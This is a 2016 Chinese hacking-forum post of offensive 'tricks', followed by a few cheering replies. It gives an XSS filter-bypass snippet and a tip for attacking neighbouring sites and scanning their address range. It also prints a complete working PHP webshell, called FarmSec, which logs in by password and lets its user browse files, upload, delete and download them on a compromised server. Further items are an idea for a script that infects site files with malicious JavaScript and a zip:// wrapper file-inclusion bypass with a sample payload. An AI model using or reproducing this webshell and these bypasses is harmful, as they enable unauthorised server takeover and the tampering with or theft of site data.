SVK 发表于 2016-12-13 19:30:34

【投稿】分享一些奇技淫巧,一些笔记

本帖最后由 SVK 于 2016-12-13 19:41 编辑

一、思路分享
先分享一个XSS构造思路。
首先我们知道php终极防XSS的办法就是htmlspecialchars();
但是有时候为了页面的丰富,很多社交网站不用使用类似这样函数。
所以动动脑子还是可以过防xss的正则。
这里提供一个思路:

<script>
var a = "htt";
var b = "p";
var u = "w";
var c = "baidu";
var b = "c";
var i = "o";
var p= "m";
var d = ".";
window.location.href=a+b+'://'+u+u+u+d+c+d+b+i+p;
</script>

可以说现在不少地网站还存在这个漏洞,大家发现了不要乱搞。
------------------
二、小技巧
所谓主站搞不下,搞旁站,旁站搞不下,扫c段,这里分享一个很好用的扫c段/旁站的网站,妈妈再也不用担心我的ip被ban了。
https://phpinfo.me/bing.php
------------------
三、分享一个自己写的简易webshell
<?php
header("content-type:text/html;charset=utf-8");
?>
//js
<script>
      function jump(obj){
          console.log(obj);
          console.log(obj.getAttribute('value'));
          console.log(obj.innerHTML);
      document.getElementById("dirname").value=obj.getAttribute('value');
      document.getElementById("bt").value="点击我进行跳转";
    }
      function jump2(obj){
      document.getElementById("dirname").value=obj.innerHTML;
      document.getElementById("bt").value="点击我进行跳转";
    }   
    function del(){
            <?php
            if(is_file('00100.php'))
             unlink('00100.php');
            ?>
    }
</script>

<!-- 部署界面 -->
<body onbeforeunload=del() style='background-color:black; text-align:center'>
<div id='pw' style='margin:150px auto 0px; width:400px; height:100px; border:1px solid #F00; color:white; padding-top:20px '>
FarmSec WebShell<br>
请输入密码
<form action="" method="post">
<input type="password" name="password">
    <input type="submit" id="button" value="登录">
</form>
</div>
<?php
//设置密码
$password="222";


if(@$_POST['password']==$password){
echo '<div style="width:1000px; margin:20px auto; border:1px solid #F00">';

//标题
echo '<div style="width:900px; margin:0 auto; color:white">';
echo '<h1 style="margin-bottom:0px">WebShell文件管理</h1>';
echo '农夫安全漏洞证明<br>';
echo "</div>";

//定义当前目录;
if(!isset($_POST['dirname'])){
          $dirname=dirname(__FILE__);//getcwd();
}else{
          $dirname=$_POST['dirname'];
          //$dirname=preg_replace('/\\\\/', '/', $dirname);
          //输出,win下默认编码gb2312,转成utf-8
          //$dirname=iconv("gb2312", "utf-8", $dirname);      
};

//储存木马所在目录名
@$ini=dirname(__FILE__);
$ini=preg_replace('/\\\\/', '/', $ini);
$ini=iconv("gb2312", "utf-8", $ini);

//遍历的主体程序
//隐藏验证密码界面
?>
<script>document.getElementById("pw").style.display="none"</script>

<!-- 部署界面 之 文件访问 -->
<div style="width:900px; margin:0 auto; color:white">
<form action="" method="post">
    当前目录:<p1 id="dirname2"><?php echo $dirname; ?></p1><br>
    输入目标文件目录<input type="text" id="dirname" name="dirname">
    <input type="hidden" name="password" value=<?php echo $password ?>>
    <input type="hidden" name="ini" value=<?php echo $ini ?>>
    <input type="hidden" name="back2" value=<?php echo dirname($dirname); ?>>

    <input type="submit" id="bt" value="进入">
    <input type="button" id="" value="刷新">
    <br><br>
    <input type="button" id="" value="返回木马所在目录">
         
    <input type="button" id="" value="上一层">
    <br><br>
    </form>


    <form action="" method="post" enctype="multipart/form-data">
    <input type="hidden" name="password" value=<?php echo $password ?>>
    <input type="hidden" name="dirname" value=<?php echo $dirname ?>>
      <input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
      文件上传:<input type="file" name="file"/>
      <input type="submit" value="走你"/>
</form>
</div>

<?php
//服务器文件输出区php代码
echo "<div style='color:white; width:1000px; padding-bottom:10px'>";

    //删除文件
          if(isset($_POST['delfile'])){
            if(is_file($_POST['delfile']))
            @$delfile=$_POST['delfile'];
      if(is_file(@$delfile)){
            unlink($delfile);
      }else{
                  echo '<script>alert("只能删除单个文件")</script>';
      }
          }

    //文件上传脚本
      @move_uploaded_file($_FILES["file"]["tmp_name"],$_POST['dirname'].'/'. $_FILES["file"]["name"]);

    //写新脚本,以便下载
          $op=fopen("00100.php","w+");
          fwrite($op, '<?php
                  $dirfile=$_GET["dirfile"];
                header("Content-Disposition: attachment; filename=".$dirfile);
                header("Content-length: ".filesize($dirfile));

                readfile($dirfile);
                  ?>');
          fclose($op);

//文件管理主体-------------------------------
$dirname=iconv("utf-8", "gb2312", $dirname);
echo $dirname;
if(!@$dir_handle=opendir($dirname))
    echo '目录下啥也木有 ORZ';

while(@$file=readdir($dir_handle)){
          //遍历目录
    if($file<>'.' && $file<>'..'){
            echo '<div id="" style="border:1px solid #42E61A; width:300px; float:left; margin:15px">';
                $dirfile=$dirname.'/'.$file;
                $dirfile=preg_replace('/\\\\/', '/', $dirfile);

                //输出,win下默认编码gb2312,转成utf-8
                $dirfile=iconv("gb2312", "utf-8", $dirfile);
                $file=iconv("gb2312", "utf-8", $file);
                echo $file."<br>";
                echo '<span id="" name="" value='.$dirfile.' style="color:red;">进入</span>';
      ;?>

                <form action="" method="post" style="margin-bottom:0 ">
                  <input type="hidden" name="password" value=<?php echo $password ?>>
                  <input type="hidden" name="dirname" value=<?php echo $dirname ?>>
                  <input type="hidden" name="delfile" value=<?php echo $dirfile ?>>
                  <input type="submit" name="" value="删除" style="background-color:black; color:white; border: 0 ">
                </form>

                <?php
                echo '<a href="00100.php?dirfile='.$dirfile.'" target="_blank">下载</a>';
                echo '</div>';
                };
            
};
echo "<div style='clear:both'></div>";
echo "</div>";

echo "</div>";
echo "</body>";
}elseif(isset($_POST['password'])){
      echo"<script>alert('密码错误')</script>";
}
?>

注释没少写,可读性不算差吧,{:3_59:}因为php还没完全入门,希望各位大大表喷我菜。
------------------
四、一个学习php时突发奇想。
用fopen,参数用a+,然后递归可以感染一堆php html文件,加入恶意js,算是php写另类木马吧,当然前提得可以传马。
------------------
五、上传突破的一个姿势
上次做ctf学到的,特此分享。
现在00截断已经众人所知,存在也少之又少了,一些cms限制包涵的后缀必须为.php时,代码例如:
$include_file=$_GET;
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
      {   
                require( $include_file );
      }

对传递过来的截取了后面4个字符 判断是不是.php 如果是.php才进行包含。
这里就利用世界上最好的语言的伪协议(zip)
1、首先新建一个1.php 里面随便写个phpinfo把
2、然后压缩成.zip 然后把zip的名字改成 honker.jpg
3、然后把这个.jpg上传上去 然后包含
例如:include_file=zip://d:/xx/xxx/honker.jpg%231.php
%23是url编码后的#。
这样就可以成功包含了。
-------------------
以上分享仅供学习,本人不承担任何法律责任。
-----------------------
后记:
上一次申请加入太极基础组被拒绝以来,已经一个月多了。
我没有灰心,而是静下心来好好学习,就是希望能获得wuyan大表哥的肯定,希望可以加入太极基础组。
这段时间以来,很多事情都变了,可我对web安全的热情一分未减。
今天把学习时间抽出来写这个帖子,写的有点仓促,还望见谅
希望大家多多顶贴,我也不隐藏了。
最后祝ihonker越办越好,哈哈。加油!

enew 发表于 2016-12-14 09:37:32

顶起!!!雄起!!!

ahui41 发表于 2016-12-14 15:53:58

厉害!支持!!

yhy 发表于 2016-12-26 22:43:12

RE: 【投稿】分享一些奇技淫巧,一些笔记

我若成佛天下无魔,我若成魔佛奈我何,求一经验
页: [1]
查看完整版本: 【投稿】分享一些奇技淫巧,一些笔记